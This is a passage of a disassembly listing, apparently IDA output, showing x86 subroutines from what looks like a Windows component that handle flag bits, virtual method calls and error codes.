		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		push	ebx
		push	ecx
		mov	ecx, eax


loc_69B4AC9A:				; CODE XREF: sub_69B4AAFC+1B7j
		call	sub_69B4A76D
		jmp	short loc_69B4ACD5
; ---------------------------------------------------------------------------


loc_69B4ACA1:				; CODE XREF: sub_69B4AAFC+186j
		test	eax, 0C0000h
		jnz	short loc_69B4ACB5
		push	[ebp+var_4]
		lea	eax, [ebp+var_18]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		jmp	short loc_69B4AC9A
; ---------------------------------------------------------------------------


loc_69B4ACB5:				; CODE XREF: sub_69B4AAFC+1AAj
		xor	eax, eax
		cmp	byte ptr [ebp+var_4], al
		setz	al
		inc	eax
		neg	bl
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		call	sub_69B47E7F
		push	eax
		lea	ecx, [ebp+var_18]
		call	sub_69B3146D


loc_69B4ACD5:				; CODE XREF: sub_69B4AAFC+18Fj
					; sub_69B4AAFC+1A3j
		cmp	byte ptr [ebp+arg_8], 0
		jz	short loc_69B4ACE6
		push	[ebp+var_4]
		lea	ecx, [ebp+var_18]
		call	sub_69B3128E


loc_69B4ACE6:				; CODE XREF: sub_69B4AAFC+1DDj
		lea	ecx, [ebp+var_18]
		call	sub_69B31267
		test	eax, eax
		jnz	short loc_69B4ACF7


loc_69B4ACF2:				; CODE XREF: sub_69B4AAFC+D8j
					; sub_69B4AAFC+118j
		mov	eax, offset off_69B1A5AC


loc_69B4ACF7:				; CODE XREF: sub_69B4AAFC+108j
					; sub_69B4AAFC+164j ...
		pop	ebx


loc_69B4ACF8:				; CODE XREF: sub_69B4AAFC+34j
					; sub_69B4AAFC+49j ...
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B4AAFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4ACFE	proc near		; CODE XREF: sub_69B4ADB4+87p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B2EE79 SIZE 00000021 BYTES

		push	1
		push	1
		push	0
		call	sub_69B4AAFC
		mov	ecx, eax
		jmp	loc_69B2EE79
sub_69B4ACFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4AD10	proc near		; CODE XREF: sub_69B14EAC+109p
					; sub_69B14EAC+139p ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_69B4AD27
		push	edi
		push	1
		push	edi
		call	sub_69B4AAFC
		mov	edi, eax


loc_69B4AD27:				; CODE XREF: sub_69B4AD10+Aj
		mov	ecx, edi
		call	sub_69B2EF67
		test	al, al
		jnz	short loc_69B4AD52
		cmp	[esp+8+arg_0], al
		jz	short loc_69B4AD4A
		mov	eax, [esi+0Ch]
		mov	ecx, [eax+70h]
		push	1
		push	edi
		push	2
		call	sub_69B4DE11
		jmp	short loc_69B4AD54
; ---------------------------------------------------------------------------


loc_69B4AD4A:				; CODE XREF: sub_69B4AD10+26j
		push	edi
		call	sub_69B1A2EC
		jmp	short loc_69B4AD54
; ---------------------------------------------------------------------------


loc_69B4AD52:				; CODE XREF: sub_69B4AD10+20j
		xor	eax, eax


loc_69B4AD54:				; CODE XREF: sub_69B4AD10+38j
					; sub_69B4AD10+40j
		pop	edi
		pop	esi
		retn	8
sub_69B4AD10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4AD59	proc near		; DATA XREF: .text:69B152E4o
					; .text:69B1DD34o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_69B48032
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		sub	eax, ecx
		jz	short loc_69B4AD93
		dec	eax
		jz	short loc_69B4AD8E
		dec	eax
		jz	short loc_69B4AD86
		dec	eax
		jz	short loc_69B4AD8E
		dec	eax
		jnz	short loc_69B4AD9B
		test	byte ptr [esi+0Ah], 0Ch
		setnz	al
		mov	byte ptr [ebp+var_4], al
		jmp	short loc_69B4AD97
; ---------------------------------------------------------------------------


loc_69B4AD86:				; CODE XREF: sub_69B4AD59+19j
		mov	byte ptr [ebp+arg_0], cl
		mov	byte ptr [ebp+var_4], cl
		jmp	short loc_69B4AD9B
; ---------------------------------------------------------------------------


loc_69B4AD8E:				; CODE XREF: sub_69B4AD59+16j
					; sub_69B4AD59+1Cj
		mov	byte ptr [ebp+var_4], cl
		jmp	short loc_69B4AD97
; ---------------------------------------------------------------------------


loc_69B4AD93:				; CODE XREF: sub_69B4AD59+13j
		mov	byte ptr [ebp+var_4], 1


loc_69B4AD97:				; CODE XREF: sub_69B4AD59+2Bj
					; sub_69B4AD59+38j
		mov	byte ptr [ebp+arg_0], 1


loc_69B4AD9B:				; CODE XREF: sub_69B4AD59+1Fj
					; sub_69B4AD59+33j
		cmp	[ebp+arg_4], cl
		mov	ecx, esi
		setz	al
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_69B4AAFC
		pop	esi
		leave
		retn	8
sub_69B4AD59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4ADB4	proc near		; DATA XREF: .text:69B15374o
					; .text:69B1DDC4o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_10], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		push	edi
		mov	edi, [ebp+arg_8]
		mov	ebx, ecx
		mov	[ebp+var_C], 0
		jnz	short loc_69B4ADF9
		mov	eax, [edi]
		mov	esi, dword_69B99D00[eax*4]
		test	esi, esi
		jnz	short loc_69B4ADF9
		cmp	eax, 6
		jnz	short loc_69B4ADF9
		mov	ecx, [edi+8]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	short loc_69B4ADF9
		mov	edx, [eax]
		inc	esi
		push	edi
		push	esi
		mov	ecx, eax
		call	dword ptr [edx+54h]


loc_69B4ADF9:				; CODE XREF: sub_69B4ADB4+1Bj
					; sub_69B4ADB4+28j ...
		cmp	byte_69B99394[esi], 0
		jz	short loc_69B4AE53
		mov	ecx, ebx
		call	sub_69B48032
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		and	eax, 7
		mov	[ebp+var_24], eax
		call	ds:GetThreadLocale	; GetThreadLocale
		mov	[ebp+var_20], eax
		mov	eax, [edi+8]
		shr	esi, 3
		and	esi, 1
		mov	[ebp+var_1C], esi
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_18], ecx
		mov	eax, [eax+8]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		mov	ecx, ebx
		call	sub_69B4ACFE
		mov	ecx, [ebp+var_24]
		dec	eax
		dec	eax
		lea	eax, [eax+ecx*2]
		add	eax, ecx
		mov	esi, dword_69B9A044[eax*4]
		jmp	short loc_69B4AE6F
; ---------------------------------------------------------------------------


loc_69B4AE53:				; CODE XREF: sub_69B4ADB4+4Cj
		mov	eax, [ebx]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	esi
		mov	ecx, ebx
		call	dword ptr [eax+54h]
		push	2
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_69B65333
		mov	esi, eax


loc_69B4AE6F:				; CODE XREF: sub_69B4ADB4+9Dj
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B4ADB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4AE80	proc near		; CODE XREF: sub_69B4AED1+3Ep
					; sub_69B4BD17+1EBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	0
		push	0
		mov	esi, ecx
		call	sub_69B4AD10
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B4AECB
		mov	ecx, [ebp+arg_0]
		push	edi
		push	ebx
		call	sub_69B8B00F
		mov	[ebp+var_4], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B4AECA
		cmp	[ebp+var_4], edi
		jnz	short loc_69B4AECA
		mov	ecx, [ebp+arg_0]
		push	ebx
		call	sub_69B8B033
		and	byte ptr [esi+9], 7Fh
		and	dword ptr [edi+8], 0FFFFFFFBh


loc_69B4AECA:				; CODE XREF: sub_69B4AE80+32j
					; sub_69B4AE80+37j
		pop	edi


loc_69B4AECB:				; CODE XREF: sub_69B4AE80+15j
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B4AE80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4AED1	proc near		; CODE XREF: sub_69B4AED1+55p
					; sub_69B4B74A+68p

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		movzx	eax, byte ptr [ebp+arg_0]
		shl	eax, 0Ah
		push	esi
		mov	esi, ecx
		xor	eax, [esi+8]
		and	eax, 400h
		xor	[esi+8], eax
		cmp	byte ptr [ebp+arg_0], 0
		mov	eax, [esi+8]
		jz	short loc_69B4AF14
		mov	ecx, eax
		shr	ecx, 0Fh
		test	cl, 1
		jz	short loc_69B4AF14
		shr	eax, 14h
		test	al, 1
		jz	short loc_69B4AF14
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		push	eax
		mov	ecx, esi
		call	sub_69B4AE80


loc_69B4AF14:				; CODE XREF: sub_69B4AED1+20j
					; sub_69B4AED1+2Aj ...
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_69B48DC1
		jmp	short loc_69B4AF36
; ---------------------------------------------------------------------------


loc_69B4AF21:				; CODE XREF: sub_69B4AED1+67j
		push	[ebp+arg_0]
		mov	ecx, eax
		call	sub_69B4AED1
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_69B47D9F


loc_69B4AF36:				; CODE XREF: sub_69B4AED1+4Ej
		test	eax, eax
		jnz	short loc_69B4AF21
		pop	esi
		leave
		retn	4
sub_69B4AED1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4AF3F	proc near		; CODE XREF: sub_69B4B0C7+307p
					; sub_69B8C084+267p

var_10		= word ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	byte ptr [ebp+arg_4], 0
		push	esi
		mov	esi, ecx
		mov	[ebp+var_10], 1
		jz	short loc_69B4AF7F
		cmp	[ebp+arg_0], 27h
		jnz	short loc_69B4AF7F
		mov	eax, [esi]
		and	[ebp+var_8], 0
		lea	ecx, [ebp+var_10]
		push	ecx
		push	27h
		mov	ecx, esi
		mov	[ebp+var_10], 0Ah
		call	dword ptr [eax+0E8h]
		and	word ptr [esi+8], 0FC0Fh
		jmp	loc_69B4B0C2
; ---------------------------------------------------------------------------


loc_69B4AF7F:				; CODE XREF: sub_69B4AF3F+13j
					; sub_69B4AF3F+19j
		push	ebx
		push	edi
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jnz	short loc_69B4AF94
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		mov	edi, eax


loc_69B4AF94:				; CODE XREF: sub_69B4AF3F+47j
		cmp	[ebp+arg_0], 2
		jz	short loc_69B4AFA8
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, 1
		jz	loc_69B4B054


loc_69B4AFA8:				; CODE XREF: sub_69B4AF3F+59j
		mov	eax, [esi+8]
		shr	eax, 0Ah
		test	al, 1
		jnz	loc_69B4B054
		test	edi, edi
		jz	loc_69B4B054
		cmp	byte ptr [ebp+arg_8], 0
		jnz	loc_69B4B054
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		mov	[ebp+arg_10], eax
		mov	eax, [esi+0Ch]
		mov	bl, [eax+82h]
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, 1
		jz	short loc_69B4B00C
		cmp	byte ptr [ebp+arg_4], 0
		jnz	short loc_69B4B008
		push	0
		push	1
		mov	ecx, esi
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B4B008
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_69B8B033
		and	dword ptr [edi+8], 0FFFFFFFBh


loc_69B4B008:				; CODE XREF: sub_69B4AF3F+ABj
					; sub_69B4AF3F+BAj
		and	byte ptr [esi+9], 7Fh


loc_69B4B00C:				; CODE XREF: sub_69B4AF3F+A5j
		cmp	[ebp+arg_0], 2
		jnz	short loc_69B4B054
		test	bl, bl
		jnz	short loc_69B4B01E
		cmp	byte ptr [ebp+arg_4], bl
		mov	byte ptr [ebp+arg_8], bl
		jnz	short loc_69B4B022


loc_69B4B01E:				; CODE XREF: sub_69B4AF3F+D5j
		mov	byte ptr [ebp+arg_8], 1


loc_69B4B022:				; CODE XREF: sub_69B4AF3F+DDj
		cmp	[ebp+arg_C], 0
		jnz	short loc_69B4B034
		push	0
		mov	ecx, esi
		call	sub_69B47E6C
		mov	[ebp+arg_C], eax


loc_69B4B034:				; CODE XREF: sub_69B4AF3F+E7j
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+arg_8]
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B4B0AF
		push	[ebp+arg_8]
		mov	ecx, esi
		push	edi
		push	eax
		push	[ebp+arg_10]
		call	sub_69B481EB


loc_69B4B054:				; CODE XREF: sub_69B4AF3F+63j
					; sub_69B4AF3F+71j ...
		mov	edi, [ebp+arg_0]
		cmp	edi, 0Ch
		jge	short loc_69B4B061
		cmp	edi, 1
		jnz	short loc_69B4B0AF


loc_69B4B061:				; CODE XREF: sub_69B4AF3F+11Bj
		mov	eax, [ebp+arg_14]
		xor	ecx, ecx
		cmp	eax, ecx
		jnz	short loc_69B4B099
		cmp	byte ptr [ebp+arg_4], cl
		jnz	short loc_69B4B07C
		mov	edx, [esi+8]
		shr	edx, 4
		and	edx, 3Fh
		cmp	edi, edx
		jz	short loc_69B4B099


loc_69B4B07C:				; CODE XREF: sub_69B4AF3F+12Ej
		mov	eax, [esi+8]
		shr	eax, 14h
		test	al, 1
		push	ecx
		jz	short loc_69B4B092
		push	ecx
		push	ecx
		mov	ecx, esi
		call	sub_69B4936A
		jmp	short loc_69B4B099
; ---------------------------------------------------------------------------


loc_69B4B092:				; CODE XREF: sub_69B4AF3F+146j
		mov	ecx, esi
		call	sub_69B48E56


loc_69B4B099:				; CODE XREF: sub_69B4AF3F+129j
					; sub_69B4AF3F+13Bj ...
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		push	[ebp+arg_C]
		mov	ecx, esi
		push	dword ptr [esi+0Ch]
		call	sub_69B4858B


loc_69B4B0AF:				; CODE XREF: sub_69B4AF3F+104j
					; sub_69B4AF3F+120j
		mov	eax, [esi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+arg_0]
		mov	ecx, esi
		call	dword ptr [eax+0E8h]
		pop	edi
		pop	ebx


loc_69B4B0C2:				; CODE XREF: sub_69B4AF3F+3Bj
		pop	esi
		leave
		retn	18h
sub_69B4AF3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4B0C7	proc near		; CODE XREF: sub_69B3D2F2+AAp
					; sub_69B4C674+295p ...

var_10		= word ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	edi
		mov	edi, ecx
		xor	ebx, ebx
		mov	bl, [edi+0Bh]
		xor	eax, eax
		inc	eax
		and	ebx, 1Fh
		mov	ecx, ebx
		shl	eax, cl
		test	ax, 8011h
		jz	loc_69B4B3E7
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jnz	short loc_69B4B0FE
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		mov	esi, eax


loc_69B4B0FE:				; CODE XREF: sub_69B4B0C7+29j
		cmp	ebx, 0Fh
		jnz	loc_69B4B32A
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		mov	ebx, eax
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Fh
		mov	[ebp+arg_0], eax
		jg	short loc_69B4B123
		call	sub_69B2E6D8


loc_69B4B123:				; CODE XREF: sub_69B4B0C7+55j
		mov	eax, [ebp+arg_0]
		cmp	[eax+88h], ebx
		jnz	loc_69B4B2C5
		xor	ebx, ebx
		push	ebx
		push	1
		push	ebx
		mov	ecx, edi
		call	sub_69B4AAFC
		cmp	byte ptr [ebp+arg_4], bl
		jz	short loc_69B4B153
		mov	ecx, [edi+0Ch]
		cmp	[ecx+82h], bl
		jnz	short loc_69B4B153
		xor	cl, cl
		jmp	short loc_69B4B157
; ---------------------------------------------------------------------------


loc_69B4B153:				; CODE XREF: sub_69B4B0C7+7Bj
					; sub_69B4B0C7+86j
		xor	ecx, ecx
		mov	cl, 1


loc_69B4B157:				; CODE XREF: sub_69B4B0C7+8Aj
		push	ecx
		push	eax
		call	sub_69B20F54
		cmp	esi, ebx
		mov	edi, eax
		jz	loc_69B4B3E6
		mov	eax, [esi+8]
		shr	eax, 0Eh
		test	al, 1
		jz	short loc_69B4B185
		push	ebx
		push	0C00CE205h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4B185:				; CODE XREF: sub_69B4B0C7+A9j
		cmp	byte ptr [ebp+arg_4], 0
		jnz	loc_69B4B29F
		mov	eax, [esi+8]
		shr	eax, 4
		and	eax, 3Fh
		cmp	edi, eax
		jnz	short loc_69B4B1A5
		cmp	edi, 2
		jnz	loc_69B4B3E6


loc_69B4B1A5:				; CODE XREF: sub_69B4B0C7+D3j
		mov	eax, [esi]
		mov	ecx, esi
		mov	[ebp+arg_C], ebx
		mov	[ebp+arg_0], ebx
		mov	[ebp+var_10], 1
		call	dword ptr [eax+0F4h]
		cmp	edi, 2
		mov	ebx, eax
		jz	short loc_69B4B1CC
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, 1
		jz	short loc_69B4B23C


loc_69B4B1CC:				; CODE XREF: sub_69B4B0C7+F9j
		mov	eax, [esi+8]
		shr	eax, 0Ah
		test	al, 1
		jnz	short loc_69B4B23C
		test	ebx, ebx
		jz	short loc_69B4B23C
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		mov	[ebp+arg_4], eax
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, 1
		jz	short loc_69B4B20F
		push	0
		push	1
		mov	ecx, esi
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B4B20B
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B8B033
		and	dword ptr [ebx+8], 0FFFFFFFBh


loc_69B4B20B:				; CODE XREF: sub_69B4B0C7+135j
		and	byte ptr [esi+9], 7Fh


loc_69B4B20F:				; CODE XREF: sub_69B4B0C7+126j
		cmp	edi, 2
		jnz	short loc_69B4B23C
		push	0
		mov	ecx, esi
		call	sub_69B47E6C
		push	eax
		push	1
		mov	ecx, esi
		mov	[ebp+arg_0], eax
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B4B28B
		push	1
		push	ebx
		push	eax
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_69B481EB


loc_69B4B23C:				; CODE XREF: sub_69B4B0C7+103j
					; sub_69B4B0C7+10Dj ...
		cmp	edi, 0Ch
		jge	short loc_69B4B246
		cmp	edi, 1
		jnz	short loc_69B4B28B


loc_69B4B246:				; CODE XREF: sub_69B4B0C7+178j
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 4
		and	ecx, 3Fh
		cmp	edi, ecx
		jz	short loc_69B4B274
		shr	eax, 14h
		test	al, 1
		mov	ecx, esi
		jz	short loc_69B4B26A
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_69B4936A
		jmp	short loc_69B4B271
; ---------------------------------------------------------------------------


loc_69B4B26A:				; CODE XREF: sub_69B4B0C7+195j
		push	0
		call	sub_69B48E56


loc_69B4B271:				; CODE XREF: sub_69B4B0C7+1A1j
		mov	[ebp+arg_C], eax


loc_69B4B274:				; CODE XREF: sub_69B4B0C7+18Cj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		push	edi
		push	[ebp+arg_0]
		mov	ecx, esi
		push	dword ptr [esi+0Ch]
		call	sub_69B4858B


loc_69B4B28B:				; CODE XREF: sub_69B4B0C7+165j
					; sub_69B4B0C7+17Dj
		mov	eax, [esi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+0E8h]
		jmp	loc_69B4B3E6
; ---------------------------------------------------------------------------


loc_69B4B29F:				; CODE XREF: sub_69B4B0C7+C2j
		mov	ecx, [esi+8]
		cmp	edi, ebx
		setnz	al
		and	edi, 3Fh
		and	ecx, 0FFFFBC0Fh
		and	eax, 1
		shl	eax, 0Ah
		or	eax, edi
		shl	eax, 4
		or	eax, ecx
		mov	[esi+8], eax
		jmp	loc_69B4B3E6
; ---------------------------------------------------------------------------


loc_69B4B2C5:				; CODE XREF: sub_69B4B0C7+65j
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_69B4B3E6
		cmp	byte ptr [ebp+arg_4], bl
		jz	loc_69B4B3E6
		cmp	[ebp+arg_C], ebx
		jnz	short loc_69B4B2FC
		test	byte ptr [esi+0Bh], 1Fh
		jnz	loc_69B4B3E6
		push	ebx
		push	ebx
		push	ebx
		mov	ecx, edi
		call	sub_69B4936A
		cmp	eax, ebx
		mov	[ebp+arg_C], eax
		jz	loc_69B4B3E6


loc_69B4B2FC:				; CODE XREF: sub_69B4B0C7+214j
		mov	ecx, [ebp+arg_C]
		call	sub_69B8C6AD
		cmp	eax, ebx
		jz	loc_69B4B3E6
		mov	ecx, [edi+8]
		and	eax, 3Fh
		or	eax, 400h
		shl	eax, 4
		and	ecx, 0FFFFFC0Fh
		or	eax, ecx
		mov	[edi+8], eax
		jmp	loc_69B4B3AB
; ---------------------------------------------------------------------------


loc_69B4B32A:				; CODE XREF: sub_69B4B0C7+3Aj
		test	ebx, ebx
		jnz	loc_69B4B3D5
		mov	eax, [edi+8]
		shr	eax, 0Eh
		test	al, 1
		jnz	short loc_69B4B3AB
		cmp	byte ptr [ebp+arg_4], bl
		jz	short loc_69B4B3AB
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		mov	eax, [eax+10h]
		cmp	eax, dword_69B95A54
		jz	short loc_69B4B3AB
		cmp	[ebp+arg_C], ebx
		jnz	short loc_69B4B367
		push	ebx
		mov	ecx, edi
		call	sub_69B48E56
		cmp	eax, ebx
		mov	[ebp+arg_C], eax
		jz	short loc_69B4B3AB


loc_69B4B367:				; CODE XREF: sub_69B4B0C7+28Fj
		mov	ecx, [ebp+arg_C]
		call	sub_69B8C6AD
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_69B4B3AB
		mov	eax, [edi+8]
		shr	eax, 0Eh
		test	al, 1
		jz	short loc_69B4B392
		push	ebx
		push	0C00CE205h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4B392:				; CODE XREF: sub_69B4B0C7+2B6j
		mov	eax, [edi+8]
		and	esi, 3Fh
		or	esi, 400h
		shl	esi, 4
		and	eax, 0FFFFFC0Fh
		or	esi, eax
		mov	[edi+8], esi


loc_69B4B3AB:				; CODE XREF: sub_69B4B0C7+25Ej
					; sub_69B4B0C7+273j ...
		mov	eax, [edi+8]
		mov	ecx, eax
		shr	ecx, 0Eh
		test	cl, 1
		jz	short loc_69B4B3E6
		push	[ebp+arg_C]
		shr	eax, 4
		push	0
		push	0
		push	[ebp+arg_8]
		and	eax, 3Fh
		push	[ebp+arg_4]
		mov	ecx, edi
		push	eax
		call	sub_69B4AF3F
		jmp	short loc_69B4B3E6
; ---------------------------------------------------------------------------


loc_69B4B3D5:				; CODE XREF: sub_69B4B0C7+265j
		cmp	byte ptr [ebp+arg_4], 0
		jz	short loc_69B4B3E6
		push	1
		push	1
		mov	ecx, edi
		call	sub_69B49321


loc_69B4B3E6:				; CODE XREF: sub_69B4B0C7+9Bj
					; sub_69B4B0C7+D8j ...
		pop	esi


loc_69B4B3E7:				; CODE XREF: sub_69B4B0C7+1Dj
		pop	edi
		pop	ebx
		leave
		retn	10h
sub_69B4B0C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4B3ED	proc near		; CODE XREF: sub_69B4B74A+1Dp
					; sub_69B4BAA7+143p ...

var_20		= word ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx


loc_69B4B3F8:				; CODE XREF: sub_69B4B3ED+5Fj
		xor	eax, eax
		mov	al, [esi+0Bh]
		xor	edi, edi
		and	eax, 1Fh
		sub	eax, edi
		jz	short loc_69B4B457
		dec	eax
		jz	short loc_69B4B40E
		sub	eax, 5
		jnz	short loc_69B4B44E


loc_69B4B40E:				; CODE XREF: sub_69B4B3ED+1Aj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_69B4B743
		mov	ecx, ebx
		call	sub_69B48D60
		test	al, al
		jz	loc_69B4B743
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		mov	eax, [eax+8]
		push	edi
		push	esi
		push	esi
		push	edi
		push	eax
		push	ecx
		mov	ecx, ebx
		call	sub_69B48F40
		mov	[ebp+arg_0], eax
		mov	esi, ebx
		jmp	short loc_69B4B3F8
; ---------------------------------------------------------------------------


loc_69B4B44E:				; CODE XREF: sub_69B4B3ED+1Fj
		sub	eax, 9
		jnz	loc_69B4B743


loc_69B4B457:				; CODE XREF: sub_69B4B3ED+17j
		mov	eax, [esi+8]
		xor	ebx, ebx
		mov	ecx, eax
		shr	ecx, 0Eh
		inc	ebx
		test	cl, bl
		jz	loc_69B4B57B
		mov	ecx, [ebp+arg_0]
		shr	eax, 4
		and	eax, 3Fh
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], eax
		mov	eax, [esi]
		mov	ecx, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_20], bx
		call	dword ptr [eax+0F4h]
		cmp	[ebp+var_4], 2
		mov	edi, eax
		jz	short loc_69B4B49C
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, bl
		jz	short loc_69B4B512


loc_69B4B49C:				; CODE XREF: sub_69B4B3ED+A3j
		mov	eax, [esi+8]
		shr	eax, 0Ah
		test	al, bl
		jnz	short loc_69B4B512
		test	edi, edi
		jz	short loc_69B4B512
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		mov	[ebp+var_10], eax
		mov	eax, [esi+8]
		shr	eax, 0Fh
		test	al, bl
		jz	short loc_69B4B4DE
		push	0
		push	ebx
		mov	ecx, esi
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B4B4DA
		mov	ecx, [ebp+var_10]
		push	eax
		call	sub_69B8B033
		and	dword ptr [edi+8], 0FFFFFFFBh


loc_69B4B4DA:				; CODE XREF: sub_69B4B3ED+DEj
		and	byte ptr [esi+9], 7Fh


loc_69B4B4DE:				; CODE XREF: sub_69B4B3ED+D0j
		cmp	[ebp+var_4], 2
		jnz	short loc_69B4B512
		cmp	[ebp+arg_0], 0
		jnz	short loc_69B4B4F6
		push	0
		mov	ecx, esi
		call	sub_69B47E6C
		mov	[ebp+var_C], eax


loc_69B4B4F6:				; CODE XREF: sub_69B4B3ED+FBj
		push	[ebp+var_C]
		mov	ecx, esi
		push	ebx
		call	sub_69B4AD10
		test	eax, eax
		jz	short loc_69B4B565
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		mov	ecx, esi
		call	sub_69B481EB


loc_69B4B512:				; CODE XREF: sub_69B4B3ED+ADj
					; sub_69B4B3ED+B7j ...
		cmp	[ebp+var_4], 0Ch
		jge	short loc_69B4B51D
		cmp	[ebp+var_4], ebx
		jnz	short loc_69B4B565


loc_69B4B51D:				; CODE XREF: sub_69B4B3ED+129j
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 4
		and	ecx, 3Fh
		cmp	[ebp+var_4], ecx
		jz	short loc_69B4B54C
		shr	eax, 14h
		test	al, bl
		mov	ecx, esi
		jz	short loc_69B4B542
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_69B4936A
		jmp	short loc_69B4B549
; ---------------------------------------------------------------------------


loc_69B4B542:				; CODE XREF: sub_69B4B3ED+147j
		push	0
		call	sub_69B48E56


